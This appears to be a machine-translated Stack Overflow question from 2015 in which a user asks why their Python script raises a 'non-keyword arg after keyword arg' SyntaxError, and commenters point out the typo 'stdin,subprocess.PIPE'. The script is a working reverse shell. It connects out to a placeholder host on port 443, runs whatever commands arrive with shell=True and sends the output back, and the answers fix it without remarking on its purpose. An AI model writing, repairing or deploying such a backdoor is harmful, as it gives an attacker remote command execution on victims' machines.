语法错误:关键字参数后非关键字参数
问题描述:
这里是我的代码,当我运行它,我得到这个错误:"SyntaxError: non-keyword arg after keyword arg"
语法错误:关键字参数后非关键字参数
#!/usr/bin/python
import subprocess
import socket
host = 'IP ADDRESS'
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('Hello there!\n')
while 1:
data = s.recv(1024)
if data == 'quit':
break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin,subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(stdoutput)
s.send('Bye')
s.close()
答
你有一个逗号,
凡等于=
应该是:
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin,subprocess.PIPE)
^
应该是stdin=subprocess.PIPE
。
假设在traceback中突出显示了'proc = subprocess.Popen(data,shell = True,stdout = subprocess.PIPE,stderr = subprocess.PIPE,stdin,subprocess.PIPE)'这行,并且错误消息告诉你*究竟是什么问题*。那么你没有得到什么? – jonrsharpe 2015-02-05 20:19:29
[“SyntaxError:关键字arg后的非关键字arg”在使用requests.post()时出现Python错误(http://stackoverflow.com/questions/15723294/syntaxerror-non-keyword-arg-after-关键字-arg错误在python-when-using-requ) – jonrsharpe 2015-02-05 20:20:26
@jonsharpe不,这不是问题在这里。这是一个错误 - 'stdin,subprocess.PIPE'应该是'stdin = subprocess.PIPE'。 – MattDMo 2015-02-05 20:35:28